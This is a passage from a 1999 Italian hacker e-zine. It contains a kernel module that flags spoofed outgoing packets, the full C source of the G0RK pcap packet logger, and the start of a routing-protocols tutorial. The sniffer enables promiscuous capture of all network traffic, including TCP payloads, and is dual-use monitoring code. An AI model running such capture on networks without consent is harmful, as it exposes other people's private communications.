127.0.0.1 E' pure chiaro che se vi trovate stampata una riga del tipo: Detected possible spoofing from your box Spoofed ip = 666.666.666.666 qualcuno deve aver pure rootato la vostra macchina per aprire un socket di tipo RAW e modificare l'ip header :) Ovviamente questo codice puo' essere esteso, ad esempio non permettendo di inviare il pacchetto spoofato... ---------- snip ---------- /* * * IP SP00FiNG DETECTi0N ViA LiNUX NETW0RK LAYER * --------------------------------------------- * * This lkm detects a possible spoofed pkt from your host and gives you the * spoofed ip * * Compile with: gcc -O6 -c detect-spoof.c -I/usr/src/linux/include * * Usage: insmod detect-spoof ip=yourip [dev=eth0] * * If you have a box with more than one ip, you have to modify this module... * This code only checks if the source ip is different than 127.0.0.1 and * if ip=yourip . * * Based on the artice "Building Into The Linux Network Layer" written by * kossak and lifeline (Phrack vol.9, issue 55, file 12 of 19) * * pIGpEN * */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include char *dev,*ip; MODULE_PARM(dev, "s"); MODULE_PARM(ip, "s"); struct packet_type s_proto; struct device *d; /* net/ipv4/utils.c */ char *in_ntoa(__u32 in) { static char buff[18]; char *p; p = (char *) ∈ sprintf(buff, "%d.%d.%d.%d", (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)); return(buff); } /* ditto */ __u32 in_aton(const char *str) { unsigned long l; unsigned int val; int i; l = 0; for (i = 0; i < 4; i++) { l <<= 8; if (*str != '\0') { val = 0; while (*str != '\0' && *str != '.') { val *= 10; val += *str - '0'; str++; } l |= val; if (*str != '\0') str++; } } return(htonl(l)); } int otp_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) { //skb->h.raw = skb->nh.raw + skb->nh.iph->ihl*4; if(skb->pkt_type==PACKET_OUTGOING) { if(skb->nh.iph->saddr!=in_aton(ip) && skb->nh.iph->saddr!=in_aton("127.0.0.1")) { printk(KERN_WARNING "Detect possible spoofing from your box"); printk(KERN_WARNING "Spoofed ip = %s", in_ntoa(skb->nh.iph->saddr)); } } return 1; } int init_module() { if(!ip) { printk("Usage: insmod ip=x.x.x.x [dev=devname]\n\n"); return -ENXIO; } if (dev) { d = dev_get(dev); if (!d) { printk("Did not find device %s!\n", dev); printk("Using all known devices..."); } else { printk("Using device %s, ifindex: %i\n", dev, d->ifindex); s_proto.dev = d; } } else printk("Using all known devices(wildcarded)...\n"); s_proto.type = htons(ETH_P_ALL); s_proto.func = otp_func; dev_add_pack(&s_proto); return(0); } void cleanup_module() { dev_remove_pack(&s_proto); printk("Module unloaded\n"); } ---------- snip ---------- Inutile dire che modificare i membri della struttura sk_buff permette di fare tutto quello che comunemente fate codando in C e utilizzando le librerie della vostra box... Ha inoltre dei vantaggi poiche' permette a livello kernel di modificare i pacchetti prima del loro invio agendo ad un livello piu' basso che per quanto possa essere piu' difficile (gli allineamenti succhiano :) risultera' comunque piu' veloce e si spera efficiente. Questo pero' dipende da voi... Divertitevi. Alibabau... pIGpEN ============================================================================== ---------------------------------[ EOF 8/23 ]--------------------------------- ============================================================================== BFi-7/BFi07-09100777 1750 144 73134 7031215207 11774 0ustar smasterusers============================================================================== -------------[ BFi numero 7, anno 2 - 25/12/1999 - file 9 di 23 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ G0RK: A SiMPLE & P0WERFUL PACKET L0GGER - pIGpEN PENSiERiNO FiL0SoFiCo: su PHRACK si legge: Live in SYN in BFi il mio senso masochistico mi impone: Live TO FIN E come da frase: "Il mondo e' stato creato in attesa della sua fine..." E come da maglietta di Barlow: "No SEX, No Drugs, No Alcohol, No Tobacco, No Rock Music, No Socialism, YES CAFFEINE!!!" (thx b0z0 per avermela fatta notare) Ringraziamenti: raptor (thx 1000) e koba (il mangiatore di pannocchie) [---> COS'E' G0RK <---] G0RK e' prima di tutto un semplice dumper progettato per avvicinare la gente a capire cosa passa per i loro fili :) Ma e' soprattutto uno strumento di log che permette di monitorare quello che entra e che esce dal vostro sistema. Questa versione supporta la libreria pcap per dare un margine di compatibilita' maggiore... Mentre state leggendo e' probabile che G0RK supporti pure PF_PACKET con tipo SOCK_RAW per i nuovi kernel di linux ed altro. Al limite se cercate una versione piu' adatta alle vostre esigenze scrivetemi: sono disponibile a svilupparla... [---> G0RK COME STRUMENTO DI LOG <---] E' questa la parte piu' potente di questo tool... un esempio? [ Directory: /var/log/chihaosato ] com edu it mil fbi.gov cammello:25 satan.was.here [ Arrivano i pacchetti... ] SYSLOG: messages:Aug 12 14:11:59 sp00f a.out: G0RK: My lord 666.666.666.666 was here ... I log it cat /var/log/chihaosato/satan.was.here ------------------------------------------------------------- DATE: 14:24:10 Thu Aug 12 SOURCE ADDR: 666.666.666.666 DEST ADDR: 192.168.1.1 SOURCE HOSTNAME: satan.was.here.hell DEST HOSTNAME: gateway.cameretta.pig TYPE: icmp echo ------------------------------------------------------------- DATE: 14:24:10 Thu Aug 12 SOURCE ADDR: 192.168.1.1 DEST ADDR: 666.666.666.666 SOURCE HOSTNAME: gateway.cameretta.pig DEST HOSTNAME: satan.was.here.hell TYPE: icmp echo reply ------------------------------------------------------------- DATE: 14:24:10 Thu Aug 12 SOURCE ADDR: 666.666.666.666 DEST ADDR: 192.168.1.1 SOURCE HOSTNAME: satan.was.here.hell DEST HOSTNAME: gateway.cameretta.pig TYPE: icmp echo ------------------------------------------------------------- DATE: 14:24:10 Thu Aug 12 SOURCE ADDR: 192.168.1.1 DEST ADDR: 666.666.666.666 SOURCE HOSTNAME: gateway.cameretta.pig DEST HOSTNAME: satan.was.here.hell TYPE: icmp echo reply ------------------------------------------------------------- DATE: 14:24:10 Thu Aug 12 SOURCE ADDR: 666.666.666.666 DEST ADDR: 192.168.1.1 SOURCE HOSTNAME: satan.was.here.hell DEST HOSTNAME: gateway.cameretta.pig TYPE: icmp echo ------------------------------------------------------------- DATE: 14:24:10 Thu Aug 12 SOURCE ADDR: 192.168.1.1 DEST ADDR: 666.666.666.666 SOURCE HOSTNAME: gateway.cameretta.pig DEST HOSTNAME: satan.was.here.hell TYPE: icmp echo reply ------------------------------------------------------------- DATE: 14:24:10 Thu Aug 12 SOURCE ADDR: 666.666.666.666 DEST ADDR: 192.168.1.1 SOURCE HOSTNAME: satan.was.here.hell DEST HOSTNAME: gateway.cameretta.pig TYPE: icmp echo ------------------------------------------------------------- DATE: 14:24:10 Thu Aug 12 SOURCE ADDR: 192.168.1.1 DEST ADDR: 666.666.666.666 SOURCE HOSTNAME: gateway.cameretta.pig DEST HOSTNAME: satan.was.here.hell TYPE: icmp echo reply ------------------------------------------------------------- Ovviamente avrete un output simile pure per TCP e UDP . NOTA BENE: e' diverso mettere, per esempio, .com o com in gork.conf: il primo logga il traffico su siti commerciali mentre il secondo non solo questo, ma ad esempio anche quello su: comitato.x.la.legalizzazione.della.pigcola.org Questo perche' ha "com" nella parola comitato... [---> COME SI CONFIGURA <---] G0RK e' pensato per essere il piu' semplice possibile. Basta mettere in gork.conf gli ip oppure se preferite gli hostname da monitorare e tutto quello che passa tra voi e ogni singola macchina della lista sara' monitorato e salvato nel file con nome uguale all'ip o hostname che avete inserito. G0RK puo' pure loggare direttamente tutto: basta mettere in gork.conf un "." e l'output sara' visibile in all_g0rk.log A parte questo sono accettati anche parte di indirizzi (per es 192.168.1 oppure .gov ). [---> ALTRE OPZIONI INTERESSANTI <---] G0RK permette inoltre di loggare solamente certe porte se invocato con l'opzione "-p": in tal caso l'output si trovera' nei file "ip:porta" oppure "hostname:porta". Es.: [gork.conf] porcellino cammello cmd: g0rk -p 25 output file: cammello:25 porcellino:25 G0RK puo' infine loggare e avvertirvi di particolari msg mandati via syslog: cmd: g0rk -l promiscuous output file: gork.syslog 23:09:53 Sun Oct 31 --- str -> promiscuous 192.168.1.2 -> 192.168.1.1 == <6>kernel: device eth0 entered promiscuous mode [---> COME COMPILO G0RK SULLA MIA BOX <---] E' sufficiente compilare G0RK con il cmd: gcc gork.c -lpcap [---> QUANTO MI COSTA <---] Uhm G0RK costa esattamente 1.000 lire per ogni pacchetto ricevuto, da pagare con carta di credito :P Tutti i soldi verranno utilizzati per un concerto in ricordo dei Grateful Dead ;D G0RK e' ovviamente libero, puo' essere pubblicato e distribuito su altri siti se lasciato nella sua forma originale... e magari con una piccola mail inviata a pigpen@s0ftpj.org solo a titolo informativo. [---> IL CODICE <---] ---------- snip ---------- /* * G o r k - U n i x P a c k e t L o g g e r * * c o m p a t i b l e v e r s i o n * * * Compile with: gcc gork.c -O4 -Wall -lpcap * * Tested on: * * Linux RedHat 6.X ( mail.cameretta.pig ) * Linux Debian 2.0r3 ( porcellino.cameretta.pig ) * FreeBSD 4.0 ( sp00f.y0ur.life.cameretta.pig ) * * * Gork is a tcp/udp/icmp/ip dumper with options to log only packets * from/to specific machine/s in a file with name = its ip/hostname * This version supports pcap library * so this code can be compiled in other boxes * How can i log? * For example we can use a config file [gork.conf] like this: * whitehouse.gov * 192.168.1 * www.dead.net <---- great grateful stuff!!! * baubau.bau * * And we see every packets from/to whitehouse.gov in whitehouse.gov file * from/to 192.168.1.XXX in 192.168.1 file and so on .... * NOTE: To log all pkt use a "." in gork.conf file... Output will be in * all_g0rk.log * * Gork can be used to log pkt from / to a particular port: * * gork -p port * or to check for a particular syslog msg * gork -l refused * And you can see result in gork.syslog * * usage: gork -h for help ... * * Greetings go to: s0ftPj, MTV (gork was created after Beavis & Butthead show) * b0z0/iKX, PacketStorm, all members of Metro Olografix (a cool organization), * dislessici, dead.net for their stuffs, Sky, Francesca & other my friends... * * * pIGpEN */ /* Wake of the flood, laughing water, forty-nine. Get out the pans. Don't just stand the dreamin'. Get out the way. Get out the way. Here comes sunshine, Here comes sunshine */ // CONFIGURATION /* * * DONT_LOOKUP: * gork uses gethostbyaddr() function to obtain hostnames: this * can create a lot of traffic from your box to your name server * and vice versa so you can disable lookup with DONT_LOOKUP * but hostnames or strings in gork.conf can't be considered * * NOTE: gork has a little filter for this.. look for yes_lookup * flag * */ //#define DONT_LOOKUP // if you have problem with gork & your dns /* * PROMISC: * value: 0 --> NO PROMISC * (you see only packets from/to your box) * 1 --> PROMISC MODE * (you see all your network packets) */ #define PROMISC 1 /* * SYSTEM LOG: * gork can send msg via syslog... This isn't a good thing if * you send syslog msg to another host... and can also gives * you problem with console output */ //#define SYSTEM_LOG /* * * G 0 R K a porting of Timothy Leary on your Box ... ;) * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #if (linux) #define __FAVOR_BSD #endif #include #include #include #define CONF "gork.conf" #define LOG_TYPE 4 //syslog #define SYSLOG_PORT 514 #define MTU 1500 #define URG 32 #define ACK_PSH 24 #define SYN_ACK 18 #define FIN_ACK 17 #define ACK 16 #define PSH 8 #define RST 4 #define SYN 2 #define FIN 1 #define WHITE printf("\033[0;29m") #define RED printf("\033[1;31m") #define GREEN printf("\033[1;32m") #define YELLOW printf("\033[1;33m") #define BLUE printf("\033[1;34m") #define MAGENTA printf("\033[1;35m") #define CYAN printf("\033[1;36m") #define RETURN printf("\n") #define CLEAR printf("\033[2J\033[1;1H") #define LINE printf("<\033[1;32m-----\033[1;34m>\n"); #define ADDR_DIM 300 #define LOG_ALL "all_g0rk.log" #define LOG_SL "gork.syslog" unsigned char s_addr[ADDR_DIM]; unsigned char d_addr[ADDR_DIM]; char *hst_saddr=NULL; char *hst_daddr=NULL; time_t now; char date[60]; int port=0; char *syslog_string; extern char *optarg; pcap_t *pcap_global_descriptor; char *deviceglobal=NULL; int offset; /* Line up a longshot, maybe try it two times, maybe more. Good to know you got shoes to wear, when you find the floor. Why hold out for more? Here comes sunshine, here comes sunshine!! */ struct packet_info{ unsigned char ttl, protocol, version; unsigned char *saddr, *daddr; unsigned long seq, ack_seq; unsigned short source, dest, type, id, flags, window; char dataload[2000]; }; struct DNSpkt { HEADER head; char query[255]; }; struct TCPhdr { u_short source, dest; u_int32_t seq, ack_seq; u_short offset_flag, window, checksum, urgent; }; // think different not so much ... int main __P((int, char **)); unsigned long in_aton __P((const char *)); void usage __P((char *)); void scan __P((struct packet_info)); void fuckin_about_all_day __P((void)); void print_addr __P((struct packet_info)); void pcap_device_on __P((void)); void sniff_pk __P((struct packet_info *)); void ethclose __P(()); void dump_tcp __P((struct packet_info, int)); void dump_udp __P((struct packet_info)); void dump_icmp __P((struct packet_info)); #ifndef DONT_LOOKUP char *hostLookup __P((unsigned long)); char *hostLookup(unsigned long in) { struct in_addr addr; struct hostent *hostEnt; addr.s_addr = in; hostEnt = gethostbyaddr((char *)&addr, sizeof(struct in_addr),AF_INET); if(!hostEnt) return NULL; return (hostEnt->h_name); } #endif unsigned long in_aton(const char *str) { unsigned long l; unsigned int val; int i; l = 0; for (i = 0; i < 4; i++) { l <<= 8; if (*str != '\0') { val = 0; while (*str != '\0' && *str != '.') { val *= 10; val += *str - '0'; str++; } l |= val; if (*str != '\0') str++; } } return(htonl(l)); } void usage(char *arg) { YELLOW; printf("\t\t\t pIGpEN - diGiTaL dEAdhEAd -"); BLUE; printf("\n\n\nPut hostname/ip in gork.conf ... \nUse "); MAGENTA; printf("-p dest_port "); BLUE; printf("if you wanna log only packets to dest_port\n and with ip/hostname in"); MAGENTA; printf(" gork.conf\n"); BLUE; printf("To log all source ip put in gork.conf: "); MAGENTA; printf(".\n"); printf("-l string "); BLUE; printf("write in gork.syslog if was found in syslog messages\n"); printf("Other options: \n"); printf(" -i interface\n"); printf(" -v verbose mode for tcp\n"); WHITE; } /* Askin' you nice now, keep the mother rollin' one more time. Been down before, you just don't have to go no more, No More. Here comes sunshine! Here comes sunshine! */ void fuckin_about_all_day(void) { CLEAR; fflush(stdout); sleep(1); printf("\033[1;35m .g#S$'$S#n.\n"); printf("\033[1;35m $$$$$ $$$$'\n"); printf("\033[1;35m $$$$$\n"); printf("\033[1;35m `$$$$$$$$$n\n"); printf("\033[1;34m $$$$$\n"); printf("\033[1;34m $$$$$ $$$$$\n"); printf("\033[1;34m `$$$$s$$$S'\n\n"); fflush(stdout); sleep(1); printf("\033[1;35m .g#S$'$S#n.\n"); printf("\033[1;35m $$$$$ $$$$$\n"); printf("\033[1;35m $$$$$ $$$$$\n"); printf("\033[1;35m $$$$$ $$$$$\n"); printf("\033[1;34m $$$$$s$$$$'\n"); printf("\033[1;34m $$$$$ \n"); printf("\033[1;34m $$$$ \n"); fflush(stdout); sleep(1); printf("\033[1;35m S#n.\n"); printf("\033[1;35m $$$$\n"); printf("\033[1;35m $$$$\n"); printf("\033[1;35m $$$$\n"); printf("\033[1;34m $$$$\n"); printf("\033[1;34m $$$$$ $$$$\n"); printf("\033[1;34m `$$$$s$$S'\n\n"); fflush(stdout); sleep(1); MAGENTA; printf("\033[15A\t\t\t\t _____________________\n"); fflush(stdout); sleep(1); printf("\033[01A\t\t\t\t s o f t p r o j e c t\n\n"); fflush(stdout); sleep(1); BLUE; printf("\t\t\t ____________________________________________\n\n"); fflush(stdout); sleep(1); printf("\t\t\t\033[02A d i g i t a l s e k u r i t y f o r y 2 k\n\n"); fflush(stdout); sleep(1); printf("\t\t\t\t ___________________________\n"); fflush(stdout); sleep(1); printf("\t\t\t\t\033[01A w w w . s 0 f t p j . o r g\n"); fflush(stdout); sleep(1); sleep(3); CLEAR; } void print_addr(struct packet_info infoz) { struct servent *service; struct protoent *proto; int yes_lookup=0; now=time(NULL); strftime(date,60,"%H:%M:%S %a %h %d", localtime(&now)); bzero(s_addr,sizeof(s_addr)); bzero(d_addr,sizeof(d_addr)); hst_daddr=hst_saddr=NULL; sprintf(s_addr,"%u.%u.%u.%u", infoz.saddr[0], infoz.saddr[1], infoz.saddr[2], infoz.saddr[3]); sprintf(d_addr,"%u.%u.%u.%u", infoz.daddr[0], infoz.daddr[1], infoz.daddr[2], infoz.daddr[3]); GREEN; printf("%s\n",date); BLUE; printf("%s",s_addr); GREEN; printf(" -> "); MAGENTA; printf("%s",d_addr); if(infoz.protocol!=IPPROTO_ICMP) { if((proto=getprotobynumber(infoz.protocol))) { BLUE; if((service=getservbyport(infoz.source,proto->p_name))) printf(" %s",service->s_name); else printf(" %d",infoz.source); YELLOW; printf(" / "); MAGENTA; if((service=getservbyport(infoz.dest,proto->p_name))) printf("%s",service->s_name); else printf("%d",infoz.dest); } } #ifndef DONT_LOOKUP BLUE; // limit shit for dns ... invoked with gethostbyaddr() // you can change it as you want ... switch(infoz.protocol) { case IPPROTO_TCP: if(infoz.flags==SYN) yes_lookup=1; break; case IPPROTO_UDP: if(infoz.source != NAMESERVER_PORT && infoz.dest != NAMESERVER_PORT) yes_lookup=1; break; case IPPROTO_ICMP: yes_lookup=1; break; } if(yes_lookup) { RETURN; if(!(hst_saddr=hostLookup(in_aton(s_addr)))) printf("none -> "); else printf("%s -> ",hst_saddr); MAGENTA; if(!(hst_daddr=hostLookup(in_aton(d_addr)))) printf("none"); else printf("%s",hst_daddr); } #endif MAGENTA; RETURN; scan(infoz); } void scan(struct packet_info infoz) { FILE *iff, *of; char buf[512]; char o[400],tmp_port[10]; char *flags=NULL; int HST_FOUND=0; if(!(iff=fopen(CONF,"r"))) return; while(fgets(buf,512,iff)) { if(buf[strlen(buf)-1]=='\n') buf[strlen(buf)-1]=0; if(infoz.version!=4) { CLEAR; printf("Sorry this is only a ipv4 version. write to: pigpen@s0ftpj.org\n"); printf("if you wanna ipv6 support\n"); exit(-1); } if(port && infoz.dest!=port && infoz.source!=port) return; if(port && (infoz.protocol==IPPROTO_ICMP)) return; if(hst_saddr) { if(strstr(hst_saddr,buf)) HST_FOUND=1; } if(hst_daddr) { if(strstr(hst_daddr,buf)) HST_FOUND=1; } if( strstr(s_addr,buf) || strstr(d_addr,buf) || HST_FOUND==1 ) { #ifdef SYSTEM_LOG syslog(LOG_TYPE,"G0RK: My lord %s is here ... I log it", s_addr); #endif if(buf[0]=='.' && buf[1]=='\0') of=fopen(LOG_ALL,"a"); else (buf[0]=='.') ? bcopy(buf+1,o,sizeof(o)) : bcopy(buf,o,sizeof(o)); if(port) { sprintf(tmp_port,":%d",port); strncat(o,tmp_port,sizeof(o)); } of=fopen(o,"a"); if(!of) { CLEAR; printf("Can't open %s file\n\n\n",buf); exit(-1); } fprintf(of,"<--->\n"); fprintf(of,"date: %s\n",date); fprintf(of,"src:%s (%s)\ndst:%s (%s)\n",s_addr,hst_saddr,d_addr,hst_daddr); if((infoz.protocol)!=IPPROTO_ICMP) fprintf(of,"port: %d:%d\n",infoz.source,infoz.dest); switch(infoz.protocol) { case IPPROTO_ICMP: fprintf(of,"type: "); switch((infoz.type)/256) { case 0: fprintf(of,"icmp echo reply\n"); break; case 3: fprintf(of,"icmp dest_unreach\n"); break; case 4: fprintf(of,"icmp source quench\n"); break; case 5: fprintf(of,"icmp redirect\n"); break; case 8: fprintf(of,"icmp echo\n"); break; case 11: fprintf(of,"icmp time exceeded\n"); break; case 12: fprintf(of,"icmp parameter problem\n"); break; case 13: fprintf(of,"icmp timestamp\n"); break; case 14: fprintf(of,"icmp timestamp reply\n"); break; case 15: fprintf(of,"icmp information\n"); break; case 16: fprintf(of,"icmp information reply\n"); break; case 17: fprintf(of,"icmp address mask\n"); break; case 18: fprintf(of,"icmp address mask reply\n"); break; default: fprintf(of,"icmp type %i\n", infoz.type); break; } break; case IPPROTO_TCP: fprintf(of,"seq #: %u\n",(unsigned int) infoz.seq); fprintf(of,"ack #: %u\n",(unsigned int) infoz.ack_seq); fprintf(of,"ttl: %i\n",infoz.ttl); fprintf(of,"win: %i\n",infoz.window); switch (infoz.flags) { case URG: flags="-----U"; break; case ACK_PSH: flags="---PA-"; break; case SYN_ACK: flags="-S--A-"; break; case FIN_ACK: flags="F---A-"; break; case ACK: flags="----A-"; break; case PSH: flags="---P--"; break; case RST: flags="--R---"; break; case SYN: flags="-S----"; break; case FIN: flags="F-----"; break; default: break; } fprintf(of,"flags %s\n",flags); break; case IPPROTO_UDP: if(infoz.dest==SYSLOG_PORT && port!=SYSLOG_PORT) fprintf(of,"SYSLOG DATA: %s\n",infoz.dataload); break; default: break; }//switch buf[strlen(buf)+1]=0; buf[strlen(buf)]='\n'; fclose(of); } } fclose(iff); } void pcap_device_on(void) { char errbuf[1028]; struct pcap_pkthdr pcap_hdr; int datalink; if (!deviceglobal || !strcmp(deviceglobal, "default")) { deviceglobal=pcap_lookupdev(errbuf); printf("Device detected ->"); GREEN; printf(" %s.\n\n", deviceglobal); } if (!deviceglobal) { printf("Error getting device - %s\n", errbuf); exit(1); } pcap_global_descriptor = pcap_open_live(deviceglobal, 68, PROMISC, 1000, errbuf); if (!pcap_global_descriptor) { printf("error opening pcap: %s\n", errbuf); exit(1); } datalink = pcap_datalink(pcap_global_descriptor); bzero(&pcap_hdr, sizeof(struct pcap_pkthdr)); switch (datalink) { case DLT_EN10MB: offset = 14; break; case DLT_NULL: case DLT_PPP: offset = 4; break; case DLT_SLIP: offset = 16; break; case DLT_RAW: offset = 0; break; case DLT_SLIP_BSDOS: case DLT_PPP_BSDOS: offset = 24; break; default: printf("unknown datalink type (%d)", datalink); exit(-1); } } void sniff_pk(struct packet_info *infoz) { struct ip *IP; struct TCPhdr *TCP; struct udphdr *UDP; struct icmp *ICMP; struct pcap_pkthdr lpcap_hdr; char *sniff_buff; bzero(s_addr, sizeof(s_addr)); bzero(d_addr, sizeof(d_addr)); if((sniff_buff=(char *) pcap_next(pcap_global_descriptor, &lpcap_hdr))){ (char *) sniff_buff+=offset; IP = (struct ip *) sniff_buff; infoz->ttl = IP->ip_ttl; infoz->protocol = (char)IP->ip_p; infoz->version = (char)IP->ip_v; infoz->saddr = (unsigned char *)&(IP->ip_src.s_addr); infoz->daddr = (unsigned char *)&(IP->ip_dst.s_addr); switch (infoz->protocol) { case IPPROTO_TCP: TCP = (struct TCPhdr *)(sniff_buff+sizeof(*IP)); infoz->seq = ntohl(TCP->seq); infoz->ack_seq = ntohl(TCP->ack_seq); infoz->source = ntohs(TCP->source); infoz->dest = ntohs(TCP->dest); infoz->window = ntohs(TCP->window); infoz->flags = ntohs(TCP->offset_flag)& (URG|ACK|PSH|FIN|RST|SYN); memcpy(infoz->dataload, sniff_buff + sizeof(struct ip) + sizeof(struct TCPhdr), ntohs(IP->ip_len)-sizeof(struct ip)-sizeof(struct TCPhdr)); break; case IPPROTO_UDP: UDP = (struct udphdr *)(sniff_buff+sizeof(*IP)); infoz->source = ntohs(UDP->uh_sport); infoz->dest = ntohs(UDP->uh_dport); memcpy(infoz->dataload, sniff_buff + sizeof(struct ip) + sizeof(struct udphdr), ntohs(IP->ip_len)-sizeof(struct ip)-sizeof(struct udphdr)); break; case IPPROTO_ICMP: ICMP = (struct icmp *)(sniff_buff+sizeof(*IP)); infoz->type = ntohs(ICMP->icmp_type); infoz->id = ntohs(ICMP->icmp_seq); break; default: break; } } } void ethclose() { if(pcap_global_descriptor) pcap_close(pcap_global_descriptor); MAGENTA; printf("I will getby ... I will survive...\n"); WHITE; exit(0); } void dump_tcp(struct packet_info info, int data) { char *flags=NULL; print_addr(info); MAGENTA; printf("TCP "); BLUE; printf("%u:", (unsigned int) info.seq); MAGENTA; printf("%u", (unsigned int) info.ack_seq); MAGENTA; printf("\tTTL: "); BLUE; printf("%i ", info.ttl); MAGENTA; printf("\tWin: "); BLUE; printf("%i", info.window); switch (info.flags) { case URG: flags="-----\033[1;32mU\033[1;34m"; break; case ACK_PSH: flags="---\033[1;32mPA\033[1;34m-"; break; case SYN_ACK: flags="-\033[1;32mS\033[0;34m--\033[1;32mA\033[1;34m-"; break; case FIN_ACK: flags="\033[1;32mF\033[1;34m---\033[1;32mA\033[1;34m-"; break; case ACK: flags="----\033[1;32mA\033[1;34m-"; break; case PSH: flags="---\033[1;32mP\033[1;34m--"; break; case RST: flags="--\033[1;32mR\033[1;34m---"; break; case SYN: flags="-\033[1;32mS\033[1;34m----"; break; case FIN: flags="\033[1;32mF\033[1;34m-----"; break; default: break; } MAGENTA; printf(" FLAGS: "); BLUE; printf("%s\n",flags); if(data && (info.flags==PSH || info.flags==ACK_PSH)) { BLUE; printf("-> "); GREEN; printf("%s\n",info.dataload); } LINE; } void dump_udp(struct packet_info info) { FILE *fp_sl; struct DNSpkt *dns_pkt; print_addr(info); printf("UDP "); if(info.dest==SYSLOG_PORT && port!=SYSLOG_PORT) { GREEN; printf("%s", info.dataload); if(syslog_string && info.dataload) { if(strstr(info.dataload,syslog_string)) { RED; printf("\tMSG LOGGED -> %s\n",LOG_SL); fp_sl=fopen(LOG_SL,"a"); now=time(NULL); strftime(date,60,"%H:%M:%S %a %h %d", localtime(&now)); fprintf(fp_sl,"\n%s --- str -> %s\n",date,syslog_string); fprintf(fp_sl,"%s -> %s == %s\n", s_addr, d_addr, info.dataload); fclose(fp_sl); } } } if(info.source==NAMESERVER_PORT || info.dest==NAMESERVER_PORT) { dns_pkt=(struct DNSpkt *) info.dataload; BLUE; printf("\tRD: "); MAGENTA; printf("%d ",dns_pkt->head.rd); BLUE; printf("AA: "); MAGENTA; printf("%d ",dns_pkt->head.aa); BLUE; printf("OPCODE: "); MAGENTA; switch(dns_pkt->head.opcode) { case QUERY: printf("QUERY "); break; case IQUERY: printf("IQUERY "); break; case STATUS: printf("STATUS "); break; default: printf("%d ",dns_pkt->head.opcode); } BLUE; printf("QR: "); MAGENTA; printf("%d ",dns_pkt->head.qr); BLUE; printf("RA: "); MAGENTA; printf("%d ",dns_pkt->head.ra); BLUE; printf("AD: "); MAGENTA; printf("%d ",dns_pkt->head.ad); BLUE; printf("CD: "); MAGENTA; printf("%d",dns_pkt->head.cd); BLUE; printf("\tDNSPKT ID: "); RED; printf("%d",dns_pkt->head.id); } RETURN; BLUE; LINE; } void dump_icmp(struct packet_info info) { print_addr(info); MAGENTA; printf("ICMP "); BLUE; printf("TYPE: "); RED; switch((info.type/256)) { case 0: printf("echo reply\t"); break; case 3: printf("dest_unreach\t"); break; case 4: printf("source quench\t"); break; case 5: printf("redirect\t"); break; case 8: printf("echo\t"); break; case 11: printf("time exceeded\t"); break; case 12: printf("parameter problem\t"); break; case 13: printf("timestamp\t"); break; case 14: printf("timestamp reply\t"); break; case 15: printf("information\t"); break; case 16: printf("information reply\t"); break; case 17: printf("address mask\t"); break; case 18: printf("address mask reply\t"); break; default: printf("%i\t", info.type); break; } BLUE; printf("(ttl:%i id:%i)\n", info.ttl, (info.id/256)); LINE; } int main(int argc, char **argv) { int snoop = 0, opt; struct packet_info pk_info; signal(SIGINT, ethclose); signal(SIGTERM, ethclose); signal(SIGKILL, ethclose); signal(SIGQUIT, ethclose); fuckin_about_all_day(); while ((opt = getopt(argc, (char **) argv, "vhp:l:i:")) != EOF) { switch(opt) { case 'v': snoop=1; break; case 'h': usage(argv[0]); exit(1); case 'p': if(syslog_string) { printf("Can't execute gork with -l & -p\n"); WHITE; exit(1); } port=atoi(optarg); break; case 'l': if(port) { printf("Can't execute gork with -p & -l\n"); WHITE; exit(1); } syslog_string=optarg; break; case 'i': deviceglobal=optarg; break; default: exit(1); } } pcap_device_on(); while(1) { bzero(&pk_info,sizeof(pk_info)); sniff_pk(&pk_info); // add here other protocol implementations with their functions switch(pk_info.protocol) { case IPPROTO_TCP: dump_tcp(pk_info, snoop); break; case IPPROTO_UDP: dump_udp(pk_info); break; case IPPROTO_ICMP: dump_icmp(pk_info); break; default: break; } } } ---------- snip ---------- Se ti piace questo codice oppure se provi pena per uno che passa la giornata a mettere asterischi negli headers contatta l'autore per offrirgli una cocacola. Non accetto soldi, cacca, fanta, pannocchie, erba, giocattoli, elettrodomestici, libri usati, frullatori, polpette, scarpe, ecc... (il kit del barbone ce l'ho, il pizzo pure... se non barboneggio a lungo e' perche' finisco le pile del walkman e scarico il cellulare). Sunday, Monday Happy Day... Thrusday, Friday Hippie Day... ...uhm, ma non era proprio cosi'... Questa non e' ancora la versione definitiva, ma e' comunque funzionante. Nuove eventuali versioni saranno reperibili su www.s0ftpj.org . baobab pIGpEN ============================================================================== ---------------------------------[ EOF 9/23 ]--------------------------------- ============================================================================== BFi-7/BFi07-10100777 1750 144 156575 7031215207 12017 0ustar smasterusers============================================================================== ------------[ BFi numero 7, anno 2 - 25/12/1999 - file 10 di 22 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ PR0GETT0 GiRiNGiR0 PARTE I - FuSyS ---[ P r o g e t t o G i R i N G i R O ]--- P a r t e I -----[ T C P / I P R o u t i n g P r o t o c o l s ]----- t r a t t o d a ----[ T C P / I P T o o l s U n l i m i t e d ]---- NO(C)1999 FuSyS - [S0ftPj|BFi] ############################################################################# Prima di tutto un po' di scuse. Il progetto GiRiNGiRO avrebbe dovuto essere completato in un solo articolo. Ahime', purtroppo ho perso un po' di tempo. Non a livello assoluto, ma disperdendomi dietro un mucchio di attivita' piu' o meno collaterali. Oltretutto l'implementazione delle idee che avevo in mente si e' rivelata meno immediata di quanto pensassi, considerato anche lo scarso tempo a mia disposizione. Quindi il progetto risulta diviso in due articoli separati. In questo valutero' i concetti teorici di base e cerchero' di approfondire la conoscenza di alcuni tra i meno considerati protocolli della 'nostra' benemerita suite. Nel prossimo vedremo di ottenere qualcosa di pratico da questo excursus. ############################################################################# -[ P R E R E Q U I S I T I ]- Do per scontato che il lettore conosca le basi di TCP/IP, del suo funzionamento e delle sue caratteristiche. In questa prima parte non sono molto necessarie conoscenze specifiche di programmazione o dello stack di rete degli OS, sebbene possano essere utili per valutare le possibili implicazioni pratiche. Alcuni campi sono riportati in inglese. Non e' perche' io non abbia voglia di tradurveli, ma solo perche' e' piu' comodo confrontare poi RFC ed altri documenti pescati in rete piuttosto che scervellarsi anche sul confronto tra diverse traduzioni. -[ F I N A L I T A' ]- Introdurre il lettore ai protocolli piu' utilizzati nel campo del routing, dal solito punto di vista interno, e proprio dei 